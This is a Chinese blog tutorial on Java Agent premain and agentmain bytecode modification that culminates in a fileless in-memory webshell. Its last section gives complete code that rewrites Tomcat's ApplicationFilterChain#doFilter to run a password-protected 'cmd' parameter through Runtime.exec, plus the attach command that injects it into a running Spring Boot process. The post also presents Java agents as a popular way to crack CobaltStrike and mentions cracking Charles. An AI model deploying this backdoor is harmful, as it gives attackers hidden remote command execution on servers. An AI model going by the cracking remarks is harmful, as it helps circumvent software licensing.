Java Agent到內存馬

前言

今天看到一篇文章,寫的是關於JAVA Agent相關的資料(附1),裏面提到了Java Agent的兩種實現方法:

  • 實現premain方法,在JVM啓動前加載

  • 實現agentmain方法,在JVM啓動後attach加載

因爲最近流行破解CobaltStrike不再直接使用反編譯打包源碼了,而是使用JAVA Agent進行提前字節碼修改。並且文章中也提到了javassist工具,我之前也用過javassist工具進行破解過Charles,因此抱着學習和複習的態度來複現下本文提到的技術點。

JAVA Agent兩種方法復現

Java Agent簡單說就是一種可以修改jar字節碼的技術,我們來複現下上述提到的兩種方法。

premain

通過實現premain方法,並在啓動jar時添加-javaagent:agent.jar即可進行字節碼修改。首先我們創建一個正常輸出、測試用的JAVA程序,hello.jar

package com.test;public class Hello {  public static void main(String[] args) {      hello();  }  public static void hello(){      for (int i = 0; i < 1000; i++) {          System.out.println("hello");          try {              Thread.sleep(1000);          } catch (InterruptedException e) {              e.printStackTrace();          }      }  }}

生成jar包:

Build -> Build Artifacts -> Build

正常運行jar包得到如下輸出:

java -jar hello.jar

 

 

接下來編寫一個實現premain方法的JAVA程序:

package com.test;import java.lang.instrument.Instrumentation;public class premainagent {  public static void premain(String args, Instrumentation inst) throws Exception{      for (int i = 0; i < 10; i++) {          System.out.println("hello I`m premain agent!!!");      }  }}

並在MANIFEST.MF添加一行:

Premain-Class: com.test.premainagent

生成jar包並加載執行:

java -javaagent:premainagent.jar -jar hello.jar

可以看到,成功的在hello.jar本身結果輸出前輸出了premain方法的內容:

 

 

前面也提到現在破解CobaltStrike流行用JAVA Agent技術,我們看下破解工具的源碼,能發現確實用的也是premain方法進行的破解:

 

 

agentmain

但是有些JVM已經啓動了,不好去讓他重啓,因此這個時候agentmain就派上用場了,可以方便的attach對應的進程進行字節碼的修改。

編寫一個實現了agentmain方法的JAVA程序:

package com.test;import java.lang.instrument.Instrumentation;public class agentmaintest {  public static void agentmain(String agentArgs, Instrumentation inst) {      for (int i = 0; i < 10; i++) {          System.out.println("hello I`m agentMain!!!");      }  }}

並在MANIFEST.MF添加一行:

Agent-Class: com.test.agentmaintest

生成jar包。

再編寫一個attach程序(附2):

import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class TestAgentMain {    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException{        //獲取當前系統中所有 運行中的 虛擬機        System.out.println("running JVM start ");        List<VirtualMachineDescriptor> list = VirtualMachine.list();        for (VirtualMachineDescriptor vmd : list) {            System.out.println(vmd.displayName());            String aim = args[0];//你的jar包            if (vmd.displayName().endsWith(aim)) {                System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());                virtualMachine.loadAgent(args[1]);//你想要加載的agentmain包                virtualMachine.detach();            }        }    }}

生成jar包。

依然嘗試對hello.jar進行字節碼的修改,但是這次是運行着的hello.jar

首先運行hello.jar

java -jar hello.jar

hello.jar進行啓動後的attach加載:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

發現成功在hello.jar運行過程中進行了字節碼修改:

 

 

內存馬

既然可以修改某個方法的實現,那如果修改spring bootFilter是否就可以實現一個Filter內存馬?這裏通過修改org.apache.catalina.core.ApplicationFilterChain#doFilter來達到實現內存馬的目的。

依然實現一個agentmain方法,只是這次agentmain方法中不再是System.out.println了,而是接收request的值來執行命令。一開始跟着前文提到的方法進行復現,發現有一些問題,比如attach後會爆Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上這兩句:

ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));

除了上面agentmain章節中提到的,在MANIFEST.MF中添加一行Agent-Class,還要添加一行:

Can-Retransform-Classes: true

且最後執行命令的JAVA代碼,申明變量類型時得是完整路徑,如InputStream得變成java.io.InputStream。最終代碼如下:

package com.test;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;import javassist.*;import java.lang.instrument.UnmodifiableClassException;import java.lang.instrument.IllegalClassFormatException;import java.io.IOException;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import javassist.NotFoundException;public class memshell {    public static void agentmain(String agentArgs, Instrumentation instrumentation)            throws ClassNotFoundException, UnmodifiableClassException {        instrumentation.addTransformer(new ClassFileTransformer() {            @Override            public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,                                    ProtectionDomain protectionDomain, byte[] classfileBuffer){                System.out.println("premain load Class2:" + className);                if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){                    System.out.println("nonononononono");                    return null;                }else {                    try {                        System.out.println("tryyyyyyyy");                        ClassPool classPool = ClassPool.getDefault();                        classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));                        if (classBeingRedefined != null) {                            ClassClassPath ccp = new ClassClassPath(classBeingRedefined);                            classPool.insertClassPath(ccp);                        }                        CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");                        CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");                        String source = "{javax.servlet.http.HttpServletRequest request = $1;" +                                "javax.servlet.http.HttpServletResponse response = $2;" +                                "request.setCharacterEncoding(\"UTF-8\");" +                                "String result = \"\";" +                                "String password = request.getParameter(\"password\");" +                                "if (password != null && password.equals(\"xxxxxx\")) {" +                                "String cmd = request.getParameter(\"cmd\");" +                                "if (cmd != null && cmd.length() > 0) {" +                                "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +                                "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +                                "byte[] b = new byte[1024];" +                                "int a = -1;" +                                "while ((a = in.read(b)) != -1) {" +                                "baos.write(b, 0, a);" +                                "}" +                                "response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +                                "}" +                                "}}";                        ctMethod.insertBefore(source);                        System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                        byte[] byteCode = ctClass.toBytecode();                        ctClass.detach();                        return byteCode;                    } catch (Exception e) {                        e.printStackTrace();                    }                    return null;                }            }        },true);        instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));    }}

打包成jar,然後啓動spring boot

 

 

 

開始注入:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar

成功執行命令:

 

 

 

總結

本文藉着公開的文章學習了Java Agent相關技術,分別對JVM運行前和運行後的字節碼修改進行了復現,現在JAVA內存馬越來越流行,藉着反序列化等漏洞可以悄無聲息的上一個Webshell,如何發現此類攻擊手段也是一個重要戰場。

附1:https://xz.aliyun.com/t/9450

附2:https://blog.csdn.net/qq_41874930/article/details/121284684

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章